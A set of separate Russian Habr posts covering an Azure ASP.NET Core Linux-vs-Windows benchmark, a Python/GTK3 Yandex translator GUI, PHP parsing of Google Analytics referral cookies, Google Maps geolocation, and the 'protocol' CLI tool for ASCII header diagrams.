* Можно использовать только простой индекс (выборка данных только по одному критерию)
* пока русские буквы не реализованы (UTF-8), устранится в ближайшее время
О всех багах в багрепорте, о фичах и пожеланиях в личку или комменты | https://habr.com/ru/post/115920/ | null | ru | null |
# Сравнение производительности ASP.NET Core-проектов на Linux и Windows в службе приложений Azure. Продолжение
В моём [предыдущем материале](https://habr.com/ru/company/ruvds/blog/555650/) речь шла о сравнении производительности [ASP.NET Core](https://docs.microsoft.com/ru-ru/aspnet/core/?view=aspnetcore-5.0)-приложений, запускаемых в Windows и в среде Linux + Docker, работающих в [службе приложений Azure](https://docs.microsoft.com/ru-ru/azure/app-service/overview-hosting-plans). Эта тема интересна многим — поэтому я решил написать продолжение.
[](https://habr.com/ru/company/ruvds/blog/555652/)
Я снова провёл испытания, используя подход, отличающийся от прежнего лучшей воспроизводимостью, такой, который даёт более надёжные результаты. Теперь я генерирую веб-нагрузку на серверы с помощью облачных инструментов [Azure Cloud Agents](https://docs.microsoft.com/en-us/vsts/load-test/getting-started-with-performance-testing), применяя Visual Studio и VSTS. И, более того, в то время как ранее я выполнял тесты с использованием HTTP, теперь тестирование проводилось с применением HTTPS.
Выполнение тестов в облачной среде
----------------------------------
Благодаря отличной работе, проведённой Microsoft, [запуск тестов в облаке](https://docs.microsoft.com/en-us/vsts/load-test/getting-started-with-performance-testing) — это очень просто. Делается это с помощью инструментов Visual Studio Web Performance, с использованием учётной записи VSTS. Я провёл по две серии нагрузочных тестов для каждого из следующих сценариев:
* Ответ, в теле которого содержится текст `Hello World` и отметка времени.
* Ответ с телом в 1 Кб.
* Ответ с телом в 10 Кб.
* Ответ с телом в 50 Кб.
* Ответ с телом в 100 Кб.
Вот как были настроены тесты:
* Тесты выполнялись по 5 минут.
* В начале количество пользователей равнялось 50.
* Каждые 10 секунд количество пользователей увеличивалось на 10.
* Максимальным количеством пользователей было 150.
* Запросы выполнялись из того же региона (Western Europe), где были развёрнуты исследуемые приложения.
*Результаты тестов ([оригинал](https://raw.githubusercontent.com/RobertoPrevato/robertoprevato.github.io/master/images/posts/aspcoredocker/load-tests-list.png))*
Среди выходных данных тестов были сводные показатели, имеющие практическую ценность, отчёты об ошибках и о нарушениях ограничений, касающихся ресурсов, выделенных системам (например — слишком большая нагрузка на CPU).
*Пример выходных данных теста ([оригинал](https://raw.githubusercontent.com/RobertoPrevato/robertoprevato.github.io/master/images/posts/aspcoredocker/loadtest-summary.png))*
Я использовал те же тесты, которые применялись в прошлый раз (найти соответствующий код можно [здесь](https://github.com/RobertoPrevato/ASPNetCoreHelloWorld/tree/master/PerformanceTests/ASPNetCoreHelloWorldLoadTestProject)).
Что же у меня получилось теперь?
Анализ результатов
------------------
Полученные в этот раз результаты согласуются с теми, которые были получены в прошлый раз, при использовании клиентской системы, подключённой к интернету по проводной сети. А именно, ASP.NET Core-приложение, развёрнутое в Linux с применением Docker-контейнера, оказывается гораздо быстрее, чем оно же, развёрнутое на Windows-хосте (оба варианта работают в рамках соответствующего плана служб приложений). Результаты новых тестов даже сильнее, чем результаты прежних, указывают на превосходство Linux-варианта, особенно — при работе с запросами, предусматривающими возврат ответов с более объёмными телами.
Вот сводные результаты испытаний, отражающие количество запросов, обработанных в секунду (RPS).
| | | | |
| --- | --- | --- | --- |
| **Сценарий** | **Linux** | **Windows** | **Linux +%** |
| Hello World | 646,6 | 432,85 | +49,38% |
| Ответ с телом в 1 Кб | 623,05 | 431,95 | +44,24% |
| Ответ с телом в 10 Кб | 573,6 | 361,9 | +58,5% |
| Ответ с телом в 50 Кб | 415,5 | 210,05 | +97,81% |
| Ответ с телом в 100 Кб | 294,35 | 143,25 | +105,48% |
Вот — среднее время ответа (мс).
| | | | |
| --- | --- | --- | --- |
| **Сценарий** | **Linux** | **Windows** | **Linux +%** |
| Hello World | 168,85 | 242,2 | -30,28% |
| Ответ с телом в 1 Кб | 171,25 | 249,8 | -31,45% |
| Ответ с телом в 10 Кб | 184,2 | 292,7 | -37,07% |
| Ответ с телом в 50 Кб | 233,3 | 542,85 | -57,02% |
| Ответ с телом в 100 Кб | 365,05 | 817,35 | -55,34% |
*Запросов в секунду, средний показатель (больше — лучше)*
*Время, в течение которого обрабатываются 95% запросов (меньше — лучше)*
[Вот](https://github.com/RobertoPrevato/robertoprevato.github.io/raw/master/documents/aspcoredocker/Linux-vs-Windows-benchmark.xlsx) — .xlsx-файл с результатами тестирования, а [вот](https://github.com/RobertoPrevato/robertoprevato.github.io/raw/master/documents/aspcoredocker/Linux-vs-Windows-benchmark.ods) — аналогичный .ods-файл.
В чём Linux показывает себя хуже Windows (и так ли это на самом деле)?
----------------------------------------------------------------------
Почти все нагрузочные тесты на Linux-хосте приводили к превышению допустимой нагрузки на процессор ([Processor\% Processor Time](https://docs.microsoft.com/en-us/previous-versions/tn-archive/bb734903(v=technet.10)?redirectedfrom=MSDN)) с выдачей соответствующих предупреждений. При этом ни один из тестов, проводимых на Windows-хосте, не привёл к появлению подобных предупреждений. Я не вполне уверен в том, что правильно понял документацию по этому показателю производительности, по умолчанию включаемому во все новые нагрузочные тесты, создаваемые в Visual Studio. Если кто-то в этом разбирается — буду благодарен за пояснения.
Странные графики, касающиеся производительности и пропускной способности Windows-системы
----------------------------------------------------------------------------------------
Я обратил внимание на странную закономерность в графиках VSTS, отражающих производительность и пропускную способность систем в ходе нагрузочного тестирования. В случае с Linux-системами эти графики представляют собой довольно-таки плавные линии. А вот Windows-графики напоминают нечто вроде «пил». Вот соответствующие графики для сценария, в котором в теле ответа содержится 10 Кб данных.
*Графики производительности и пропускной способности для Linux*
*Графики производительности и пропускной способности для Windows*
Другие графики можно найти [здесь](https://github.com/RobertoPrevato/robertoprevato.github.io/tree/master/images/posts/aspcoredocker). Вот графики ([Linux](https://raw.githubusercontent.com/RobertoPrevato/robertoprevato.github.io/master/images/posts/aspcoredocker/linux-50kb-graphs.png) и [Windows](https://raw.githubusercontent.com/RobertoPrevato/robertoprevato.github.io/master/images/posts/aspcoredocker/windows-50kb-graphs.png)) для сценария, где в теле ответа содержится 50 Кб данных.
Итоги
-----
В свете моих предыдущих [испытаний](https://habr.com/ru/company/ruvds/blog/555650/) учитывая полученные здесь результаты, могу сказать, что, с точки зрения производительности, в Azure оправдано использование конфигурации Linux + Docker.
Заключительные замечания
------------------------
Мне нет никакой выгоды от того, чтобы представить Linux в более выгодном свете, чем Windows. Я [опубликовал](https://habr.com/ru/company/ruvds/blog/555650/) все исходные коды моих тестов и инструкции, касающиеся воспроизведения тестового окружения. Если кто-то подозревает, что я где-то что-то «подкрутил», или сделал что-то неправильно — пусть повторит мои тесты и укажет на мою ошибку. И будет неплохо, если кто-нибудь проведёт проверку моих результатов.
Я решил провести эти тесты производительности и опубликовать результаты лишь из-за того, что планирую создать веб-сервис для приложения, написанного мной на Python. Мне было интересно узнать о том, удастся ли мне получить удовлетворительные результаты в среде Azure с использованием Linux-хоста, на котором работает Docker. Для разработки моего сервиса я планирую использовать [PyPy 3](http://pypy.org/), [Gunicorn](http://gunicorn.org/), [Gevent](http://sdiehl.github.io/gevent-tutorial/#greenlets) и [Flask](http://flask.pocoo.org/). И я полагаю, что проект, основанный на этом стеке технологий, будет работать быстрее аналогичного ASP.NET Core-проекта, использующего сервер Kestrel. Но это — уже совсем другая история, и чтобы говорить об этом с уверенностью — надо провести соответствующие тесты.
Какими стеками технологий вы пользуетесь для разработки веб-сервисов?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=sravnenie_proizvoditelnosti_asp_net_core_proektov_na_linux_i_windows_v_sluzhbe_prilozhenij_azure_prodolzhenie) | https://habr.com/ru/post/555652/ | null | ru | null |
# Яндекс.переводчик для Linux на Python+GTK3
Приветствую хабражителей!
Довольно давно возникла необходимость в мультиязычном онлайн переводчике при закрытом браузере.
Нет, так то я и словарем в "особо тяжелых" случаях пользоваться не брезгую, но иногда приходится читать немаленький текст, и не все слова я знаю, как следствие теряется контекст.
Вначале был **translate-shell**...
**Translate-shell** вещь достаточно удобная, особненно, если пишешь, допустим, в **Vi/vim**. Переключился в соседнюю консоль и переводи.
Ключи простейшие и запоминаются легко.
```
$ trans -b -e yandex -t en "Простые ключи."
Simple keys.
или
$ echo -e "\nС перенаправлением.\n"|trans -b -e yandex -t en
With redirection.
```
Но этого как обычно было мало. Захотелось графики.
Работа в **SublimeText** и **Zeal** несколько удобней, нежели голая консоль.
Хм… Подумал-подумал, и решил прикрутить переводчик на горячую клавишу.
Выбор пал на **gxmessage**. **Zenity** меня не устроил, уж и не помню почему.
Был написан код:
```
#!/bin/bash
# Name script trans.sh
TEXT=$(xclip -selection primary -o)
TRANS=$(trans -e yandex -hl en -tl ru -b "$TEXT")
if [ "$TRANS" ]; then
gxmessage -geometry 1000x800 -bg "#aaaaaa" -title "Translate" -wrap -center -font "Menlo Regular 24" "$TRANS"
else
gxmessage -geometry 1000x800 -bg "#aaaaaa" -title "Translate" -wrap -center -font "Menlo Regular 24" "Нет связи с сервисом"
fi
```
И назначен на Ctrl+1. В **IceWm** это легко. Правим $HOME/.icewm/keys
```
key "Ctrl+1" $HOME/progs/trans.sh
```
Некоторое время меня это устраивало. На "контрол+1" с английского, "контрол+2" на английский. Хорошо...
Но тут **translate-shell** начал давать сбои.
Не знаю, что произошло у разрабов, но меня это совсем огорчило.
Я решил, пора, давно на питоне не писал.
Недолгие поиски в гугл привели меня к **Yandex.API**, **Python** и **GTK+ 3** в виде модуля **gi**.
Почему **gi**, ведь обычно писал на **PyQt5**? Он на моей машине работает значительно быстрее. Машина не новая, памяти тоже(по современным меркам) не ахти.
Модуль **GTK+ 3** для python был для меня вновинку. Целый вечер разбирался с синтаксисом на сайтах [раз](https://python-gtk-3-tutorial.readthedocs.io/en/latest/), [два](https://lazka.github.io/pgi-docs/Gtk-3.0) и [три](https://developer.gnome.org).
**Так родился код:**
```
#!/usr/bin/env python3.6
# -*- coding: utf-8 -*-
import sys
import requests
import gi
gi.require_version('Gtk', '3.0')
from gi.repository import Gtk
from gi.repository import Gdk
from gi.repository import Pango
import warnings
warnings.filterwarnings("ignore")
import os
CURRDIR = os.path.dirname(os.path.abspath(__file__))
ICON = os.path.join(CURRDIR, 'yandex-48.xpm')
headers = {
'User-Agent': ('Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 '
'Firefox/14.0.1'),
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':
'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding':
'gzip, deflate',
'Connection':
'keep-alive',
'DNT':
'1'
}
URLDETECT = "https://translate.yandex.net/api/v1.5/tr.json/detect"
URLTRANS = "https://translate.yandex.net/api/v1.5/tr.json/translate"
KEY = "you-API-key"
def clip():
clipboard = Gtk.Clipboard.get(Gdk.SELECTION_PRIMARY)
clip = clipboard.wait_for_text()
return clip
def detect():
params = {"key": KEY, "text": clip(), "lang": 'ru'}
respdetect = requests.get(URLDETECT, params=params, headers=headers).json()
if 'lang' in respdetect.keys():
respdetect = respdetect
else:
respdetect = {'code': 200, 'lang': 'en'}
langtetect = respdetect["lang"]
if langtetect != 'ru':
langout = langtetect + '-ru'
else:
langout = 'ru-en'
return langout
def translate():
params = {"key": KEY, "text": clip(), "lang": detect()}
response = requests.get(URLTRANS, params=params, headers=headers).json()
if 'text' in response.keys():
response = response
else:
response = {'code': 200, 'lang': 'en-ru', 'text': ['the buffer is empty']
}
output = ''.join(response["text"])
return output
class TextViewWindow(Gtk.Window):
def __init__(self):
Gtk.Window.__init__(self, title=f"Yandex Translator {detect()}")
self.set_default_size(1000, 350)
self.set_position(Gtk.WindowPosition.CENTER_ALWAYS)
self.grid = Gtk.Grid()
self.add(self.grid)
self.create_textview()
self.create_toolbar()
self.key_Esc = Gdk.keyval_from_name("Escape")
self.connect("key-press-event", self._key)
def create_toolbar(self):
toolbar = Gtk.Toolbar()
self.grid.attach(toolbar, 1, 1, 1, 1)
new_button = Gtk.ToolButton.new_from_stock(Gtk.STOCK_CLOSE)
new_button.set_is_important(True)
toolbar.insert(new_button, 0)
new_button.connect("clicked", self.on_button_clicked, self.tag_bold)
new_button.show()
def on_button_clicked(self, widget, tag):
Gtk.main_quit()
def create_textview(self):
scrolledwindow = Gtk.ScrolledWindow()
scrolledwindow.set_hexpand(True)
scrolledwindow.set_vexpand(True)
self.grid.attach(scrolledwindow, 0, 0, 2, 1)
self.textview = Gtk.TextView()
self.textbuffer = self.textview.get_buffer()
self.textbuffer.set_text(f"{translate()}")
scrolledwindow.add(self.textview)
self.textview.set_wrap_mode(Gtk.WrapMode.WORD)
self.tag_bold = self.textbuffer.create_tag("bold",
weight=Pango.Weight.BOLD)
self.textview.modify_font(Pango.FontDescription('Menlo Regular 24'))
def _key(self, widg, event):
if event.keyval == self.key_Esc:
Gtk.main_quit()
win = TextViewWindow()
win.connect("destroy", Gtk.main_quit)
win.set_icon_from_file(ICON)
win.show_all()
Gtk.main()
```
В итоге имею автопереводчик на горячей клавише.
Всем спасибо за внимание.
Проект полностью на [github](https://github.com/delvin-fil/Yandex-translator-GUI).
P.S.: Буду рад критике кода. | https://habr.com/ru/post/472516/ | null | ru | null |
# Знай откуда пришел пользователь
Когда вы открываете свой [проект](http://www.askdev.ru/) вы начинаете писать о нем везде, в том числе и на [хабре](http://habrahabr.ru/blogs/i_am_advertising/63791/).
Сервисы статистики типа Google Analytics дадут вам общую оценку трафика, а именно сколько посетителей пришло с какого ресурса. Можно настроить цели(goals) и отследить регистрации или покупки, но этого часто бывает недостаточно.
А что если вам нужна статистика о том откуда идут более активные пользователи или пользователи которые создали больше всего тем на форуме за какой-то промежуток времени, или сделали больше всего покупок в вашем интернет магазине. Вариантов может быть много и такие данные сервисы аналитики уже дать нет смогут.
Чтобы решить эту проблему, нам нужно просто сохранить данные о ресурсе откуда пользователь пришел при регистрации.
Эти данные можно получить, например, из \_\_utmz кук Google Analytics и записать в какое-то поле в базе.
Значение куки \_\_utmz обычно выглядит примерно так
264345247.1261843448.2.3.utmcsr=habrahabr.ru|utmccn=(referral)|utmcmd=referral|utmcct=/blogs/i\_am\_advertising/63791/
`static function parseGoogleAnalyticsCookies(){
$returnMap = array();
$cookieVal = $_COOKIE["__utmz"];
//now split cookie value by |
$arrPairs = explode('|', $cookieVal);
foreach($arrPairs as $pair){
$pair = explode('=', $pair);
if (sizeof($pair) == 2){
$key = $pair[0];//look for "."
if (strpos($key, ".")){
$key = substr($key, strrpos($key, ".")+1 );
}
$returnMap[$key] = $pair[1];
}
}
return $returnMap;
}`
Этот код разобьет значение куки \_\_utmz на пары и запишет в ассоциативный массив.
Теперь при регистрации пользователя можно получить эти данные и записать вместе с новым пользователем.
`$newUser = $model->create();
//..... утснанавливаем имя/хэш пароля и тп
$sourceCookiesData = GoogleAnalyticsCookies::parseGoogleAnalyticsCookies();//GoogleAnalyticsCookies назван для примера
if (isset($sourceCookiesData['utmcsr'])){
$newUser->source = $sourceCookiesData['utmcsr'];
}
if (isset($sourceCookiesData['utmcct'])){
$newUser->sourceUrl = $sourceCookiesData['utmcct'];
}
$newUser->save();`
Мы взяли utmcsr и utmcct которые хранят хост и урл ссылающейся страницы(страниц может быть больше одной, поэтому записываем раздельно).
Теперь все данные хранятся в базе и любую статистику можно собрать простыми SQL запросами.
Таким вот простым способом можно узнать откуда идет более целевой трафик и куда направлять свои усилия при продвижении. | https://habr.com/ru/post/80000/ | null | ru | null |
# Как Google определяет координаты?
Сегодня утром, пока пил кофе, зашел на гугльмапс и обнаружил интересную кнопку «Показать мое местоположение».
[](http://bum.ks.ua/gmaps4.png)
При нажатии на кнопку браузер спросил «разрешать ли сайту сообщить мое местонахождение», я подтвердил, и вуаля мое местонахождение определилось с точностью до 150 метров.
Самое забавное что на ноутике(toshiba satellite l40) нету никаких gps-приемников, ноут обычным способом подключен к сети через wifi-апшку(Tp-Link WA-601G).
Собрал ноутик вышел на работу, на работе к сети подключен через ethernet-кабель решил проверить найдет ли меня?
И вуаля:
Правда на работе видно 2 wi-fi точки, но к ним я не подключен.
Стало интересно как это все работает. Порылся по справочному центру, далее вырезка:
`В.: Как Google узнаёт мое местоположение?
О.: Карты Google используют функцию браузера "Географическое положение", чтобы определить ваше местоположение. Когда вы активируете функцию "Мое местоположение", в браузере отображается сообщение с запросом об использовании вашего местоположения в Картах Google. Если вы принимаете запрос, браузер попытается определить ваше местоположение. Выполняется анализ точек беспроводного доступа Wi-Fi вокруг того места, где вы находитесь, и IP-адреса вашего компьютера, после чего эти данные передаются на сервер для их последующего перевода в местоположение, которое и будет отображаться на карте.`
Самое интересное к*аким образом выполняется «анализ точек беспроводного доступа Wi-Fi»?*
и *откуда известно гуглю где находится каждая точка?*
Твоя мысль %username%?
UPD. Данная фишка работает на последних версиях Opera, FireFox, Chrome
UPD2. Версия по поводу определения по ip адресу не верная, подставили другой внешний ip адрес, координаті всеравно определяются верно (проверено на отдельной машине).
UPD3. [Ответ найден](http://bumsaver.habrahabr.ru/blog/98980/#comment_3052491). Спасибо, [YasonBy](https://geektimes.ru/users/yasonby/)! | https://habr.com/ru/post/98980/ | null | ru | null |
# Как учить протоколы без чтения RFC: как сэкономить время при разработке
Если вы разрабатывает приложение, работающее по сети, или проводите отладку работы такого приложения, доскональное знание работы сетевых протоколов сильно облегчит вашу задачу. Первоисточником подобного знания являются RFC и, к счастью, они с давних времен находятся в открытом доступе. Более того, прочитать их можно даже консольных браузером links, так как кроме текста в них ничего не содержится.
Тем не менее, скорее всего большинство читателей Хабра никогда не читали полностью текст хотя бы одного RFC, даже [RFC-2616](https://www.rfc-editor.org/rfc/rfc2616.txt). Помимо зубодробительного стиля бюрократических документов, помехой может служить языковой барьер. К тому же чаще всего нужно понять какой-то определенный аспект архитектуры протокола: длину и тип полей, код возврата, расположение внутри заголовка. Для этого вовсе не обязательно читать все от корки до корки.
Как раз для этого случая написан *Protocol*, довольно простое консольное приложение, написанное на Python. Оно имеет двоякое назначение.
* Предоставить разработчикам и инженерам возможность легко и просто увидеть диаграмму заголовков самых распространенных сетевых протоколов прямиком из командной строки.
* Предоставить исследователям и инженерам возможность быстро создавать ASCII диаграммы заголовков, для своих собственных пользовательских протоколов.
Установка и настройка
---------------------
Исходный код находится [на GitHub](https://github.com/luismartingarcia/protocol), скачать можно стандартным способом.
```
git clone https://github.com/luismartingarcia/protocol.git
```
Настройка производится командой с правами пользователя root.
```
setup.py install
```
Так как программа на данный момент не имеет стандартного механизма установки дистрибутивов Linux, или Python, лучше запомнить куда копируются файлы.
```
running install
running build
running build_scripts
creating build
creating build/scripts-3.9
copying and adjusting protocol -> build/scripts-3.9
copying constants.py -> build/scripts-3.9
copying specs.py -> build/scripts-3.9
changing mode of build/scripts-3.9/protocol from 644 to 755
changing mode of build/scripts-3.9/constants.py from 644 to 755
changing mode of build/scripts-3.9/specs.py from 644 to 755
running install_scripts
copying build/scripts-3.9/protocol -> /usr/bin
copying build/scripts-3.9/constants.py -> /usr/bin
copying build/scripts-3.9/specs.py -> /usr/bin
changing mode of /usr/bin/protocol to 755
changing mode of /usr/bin/constants.py to 755
changing mode of /usr/bin/specs.py to 755
running install_egg_info
Writing /usr/lib/python3.9/site-packages/protocol-0.1-py3.9.egg-info
```
Запускаем protocol
------------------
У программы имеются два основных режима работы:
1. protocol <название существующего протокола>;
2. protocol <спецификации собственного протокола>.
Доступны следующие стандартные протоколы
```
ethernet : Ethernet
8021q : IEEE 802.1q
dot1q : IEEE 802.1q
tcp : Transmission Control Protocol (TCP)
udp : User Datagram Protocol (TCP)
ip : Internet Protocol (IP), version 4.
ipv6 : Internet Protocol (IP), version 6.
icmp : Internet Control Message Protocol (ICMP)
icmp-destination: : ICMP Destination Unreachable
icmp-time : ICMP Time Exceeded
icmp-parameter : ICMP Parameter Problem
icmp-source : ICMP Source Quench
icmp-redirect : ICMP Redirect
icmp-echo : ICMP Echo Request/Reply
icmp-timestamp : ICMP Timestamp Request/Reply
icmp-information : ICMP Information Request/Reply
icmpv6 : ICMP for IPv6 (ICMPv6)
icmpv6-destination : ICMPv6 Destination Unreachable
icmpv6-big : ICMPv6 Packet Too Big
icmpv6-time : ICMPv6 Time Exceeded
icmpv6-parameter : ICMPv6 Parameter Problem
icmpv6-echo : ICMPv6 Echo Request/Reply
icmpv6-rsol : ICMPv6 Router Solicitation
icmpv6-radv : ICMPv6 Router Advertisement
icmpv6-nsol : ICMPv6 Neighbor Solicitation
icmpv6-nadv : ICMPv6 Neighbor Advertisement
icmpv6-redirect : ICMPv6 Redirect
```
Вот примеры использования утилиты.
```
|12:09:41|admin@redeye:[~]> protocol ip
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|12:09:45|admin@redeye:[~]> protocol ipv6
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| Traffic Class | Flow Label |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Payload Length | Next Header | Hop Limit |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Source Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ +
| |
+ Destination Address +
| |
+ +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
В одной команде можно указать сразу несколько протоколов, разделив их пробелом.
```
|12:34:16|admin@redeye:[~]> protocol icmp-time icmp-timestamp
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Unused |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
+ Internet Header + 64 bits of Original Data Datagram +
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identifier | Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Originate Timestamp |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Receive Timestamp |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Transmit Timestamp |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
Protocol догадлив, не обязательно набирать название протокола полностью, если уж совсем лень можно например вместо dot1q набрать dot. Однако, как в случае с автодополнением, при неоднозначном выборе предлагается выбрать одну из альтернатив.
```
|12:43:25|admin@redeye:[~]> protocol icmpv6-r
Ambiguous protocol specifier 'icmpv6-r'. Did you mean any of these?
icmpv6-radv
icmpv6-redirect
icmpv6-rsol
```
Собственные разработки
----------------------
Наиболее важной чертой спецификации протокола являются списки полей. Можно указать их для собственного протокола следующим образом.
```
|12:55:16|mikayel@redeye:[~]> protocol «Source:16,Reserved:40,RTT:8»
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source | |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+
| Reserved | RTT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
Дополнительные опции расширяют возможности форматирования ASCII диаграммы. Можно указать количество битов на линию, задать символы для разделителя и псевдографики. Предыдущая команда с опциями псевдодографики выдаст следующее.
```
|16:02:05|mikayel@redeye:[~]> protocol «Source:16,Reserved:40,RTT:8?\
numbers=y,startchar=*,endchar=*,evenchar=-,oddchar=-,sepchar=|»
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
*---------------------------------------------------------------*
| Source | |
*-------------------------------* *---------------*
| Reserved | RTT |
*---------------------------------------------------------------*
```
Protocol + tshark
-----------------
Более полную информацию по структуре сетевых протоколов можно получить, открыв в *tshark* сохраненный pcap/pcapng файл сетевого трафика. Если смотреть только в *tshark* можно за деревьями не заметить леса, а вместе с *Protocol* — то что надо.
```
|16:08:05|admin@redeye:[~]> sudo tshark -r /tmp/exmp.pcap -V
Transmission Control Protocol, Src Port: 48378, Dst Port: 443, Seq: 1, Ack: 1, Len: 0
Source Port: 48378
Destination Port: 443
[Stream index: 0]
[TCP Segment Len: 0]
Sequence Number: 1 (relative sequence number)
Sequence Number (raw): 1120003294
[Next Sequence Number: 1 (relative sequence number)]
Acknowledgment Number: 1 (relative ack number)
Acknowledgment number (raw): 4090007166
1000 .... = Header Length: 32 bytes (8)
Flags: 0x010 (ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Set
.... .... 0... = Push: Not set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Not set
.... .... ...0 = Fin: Not set
[TCP Flags: ·······A····]
Window: 501
[Calculated window size: 501]
[Window size scaling factor: -1 (unknown)]
Checksum: 0xfbe8 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 0
Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
TCP Option — No-Operation (NOP)
Kind: No-Operation (1)
TCP Option — No-Operation (NOP)
Kind: No-Operation (1)
TCP Option — Timestamps: TSval 2014817649, TSecr 2606727549
Kind: Time Stamp Option (8)
Length: 10
Timestamp value: 2014817649
Timestamp echo reply: 2606727549
|16:28:51|admin@redeye:[~]> protocol tcp
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Offset| Res. | Flags | Window |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
```
Конечно такие программы, как Protocol, и tshark не могут и не должны заменить собой чтение первоисточников, т․ е․ RFC, однако они позволяют сильно сэкономить время программистов и системных администраторов.
---
